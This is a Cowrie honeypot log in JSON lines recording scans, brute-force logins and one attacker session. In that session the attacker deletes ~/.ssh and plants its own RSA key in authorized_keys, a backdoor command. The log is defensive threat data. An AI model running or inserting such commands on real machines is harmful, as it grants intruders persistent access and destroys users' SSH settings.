{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d5bcd920730","protocol":"telnet","message":"New connection: 188.208.141.113:59102 (10.17.0.5:23) [session: 9d5bcd920730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:33.613236Z"}
{"eventid":"cowrie.session.closed","duration":40.01813244819641,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:34.620933Z","src_ip":"206.189.32.23","session":"4850b61ee1df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13039803504944,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:36.408559Z","src_ip":"104.245.105.2","session":"1614abed3c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.398035764694214,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:38.966551Z","src_ip":"206.189.32.23","session":"9f1892f1741a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.425477027893066,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:40.078184Z","src_ip":"104.245.105.2","session":"390d24131673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56230,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26a71fe2ade","protocol":"telnet","message":"New connection: 188.208.141.113:56230 (10.17.0.5:23) [session: f26a71fe2ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:40.372753Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":55344,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e46f65c4439","protocol":"ssh","message":"New connection: 190.108.60.10:55344 (10.17.0.5:22) [session: 6e46f65c4439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:40.965430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:40.969017Z","src_ip":"190.108.60.10","session":"6e46f65c4439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:41.182637Z","src_ip":"190.108.60.10","session":"6e46f65c4439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:42.064989Z","src_ip":"190.108.60.10","session":"6e46f65c4439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.704310417175293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:42.805856Z","src_ip":"104.245.105.2","session":"d3ff6c0e4ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:43.286007Z","src_ip":"190.108.60.10","session":"6e46f65c4439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":52630,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d02bc721025","protocol":"ssh","message":"New connection: 103.170.173.26:52630 (159.203.135.109:22) [session: 1d02bc721025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:44.417580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:44.423557Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48140,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c068bcb7b01","protocol":"telnet","message":"New connection: 104.245.105.2:48140 (10.17.0.5:23) [session: 9c068bcb7b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:44.463080Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:44.699977Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"server","message":"login attempt [steam/server] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:45.817018Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:46.405399Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:46.408751Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:46.412342Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:46.689179Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.690356731414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.072392Z","src_ip":"51.158.146.217","session":"29b3a65a5ee8","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.270067Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.273231Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.549918Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.553651Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":53071,"dst_ip":"159.203.135.109","dst_port":22,"session":"356509f1a32c","protocol":"ssh","message":"New connection: 103.170.173.26:53071 (159.203.135.109:22) [session: 356509f1a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.840407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:47.845029Z","src_ip":"103.170.173.26","session":"356509f1a32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:48.128221Z","src_ip":"103.170.173.26","session":"356509f1a32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:49.286522Z","src_ip":"103.170.173.26","session":"356509f1a32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:50.571396Z","src_ip":"103.170.173.26","session":"356509f1a32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"567154a5c5cd","protocol":"telnet","message":"New connection: 104.245.105.2:47018 (10.17.0.5:23) [session: 567154a5c5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:50.667817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":53603,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d7152ac3c8","protocol":"ssh","message":"New connection: 103.170.173.26:53603 (159.203.135.109:22) [session: 78d7152ac3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:50.823390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:50.827813Z","src_ip":"103.170.173.26","session":"78d7152ac3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:51.093544Z","src_ip":"103.170.173.26","session":"78d7152ac3c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:52.187447Z","src_ip":"103.170.173.26","session":"78d7152ac3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:52.455142Z","src_ip":"103.170.173.26","session":"78d7152ac3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:52.460844Z","src_ip":"103.170.173.26","session":"1d02bc721025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47024,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e010811be6","protocol":"telnet","message":"New connection: 104.245.105.2:47024 (10.17.0.5:23) [session: 74e010811be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:55.152106Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58896,"dst_ip":"10.17.0.5","dst_port":23,"session":"33e60ea7ce36","protocol":"telnet","message":"New connection: 206.189.32.23:58896 (10.17.0.5:23) [session: 33e60ea7ce36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:58.195352Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0152aa2c2759","protocol":"telnet","message":"New connection: 104.245.105.2:47026 (10.17.0.5:23) [session: 0152aa2c2759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:58.395673Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47038,"dst_ip":"10.17.0.5","dst_port":23,"session":"54fb7411ad4f","protocol":"telnet","message":"New connection: 104.245.105.2:47038 (10.17.0.5:23) [session: 54fb7411ad4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:59.696096Z"}
{"eventid":"cowrie.session.closed","duration":31.3331356048584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:01.715112Z","src_ip":"104.245.105.2","session":"a0b10a43e3a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.638177156448364,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:03.063599Z","src_ip":"206.189.32.23","session":"f71d530371b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bcaa8b38d3e","protocol":"telnet","message":"New connection: 206.189.32.23:60110 (10.17.0.5:23) [session: 4bcaa8b38d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:03.805886Z"}
{"eventid":"cowrie.session.closed","duration":0.005915403366088867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:03.811656Z","src_ip":"206.189.32.23","session":"4bcaa8b38d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40582,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf61be6a41b","protocol":"telnet","message":"New connection: 104.245.105.2:40582 (10.17.0.5:23) [session: cbf61be6a41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:04.869331Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"c921786c7aff","protocol":"telnet","message":"New connection: 104.245.105.2:38814 (10.17.0.5:23) [session: c921786c7aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:11.143890Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60378,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc4c52617ef","protocol":"telnet","message":"New connection: 188.208.141.113:60378 (10.17.0.5:23) [session: 2dc4c52617ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:11.724259Z"}
{"eventid":"cowrie.session.closed","duration":40.288482427597046,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:13.901602Z","src_ip":"188.208.141.113","session":"9d5bcd920730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.74549889564514,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:14.108975Z","src_ip":"104.245.105.2","session":"0bc99e001186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.482768774032593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:15.945752Z","src_ip":"104.245.105.2","session":"9c068bcb7b01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.168126583099365,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:17.757256Z","src_ip":"188.208.141.113","session":"1a1e2a782ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.403870582580566,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:18.087842Z","src_ip":"206.189.32.23","session":"849f80581801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40562,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d4157081be","protocol":"telnet","message":"New connection: 104.245.105.2:40562 (10.17.0.5:23) [session: 57d4157081be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:21.718466Z"}
{"eventid":"cowrie.session.closed","duration":31.478968381881714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:22.146673Z","src_ip":"104.245.105.2","session":"567154a5c5cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.26788377761841,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:22.640528Z","src_ip":"188.208.141.113","session":"f26a71fe2ade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55905508995056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:26.711016Z","src_ip":"104.245.105.2","session":"74e010811be6","protocol":"telnet"}
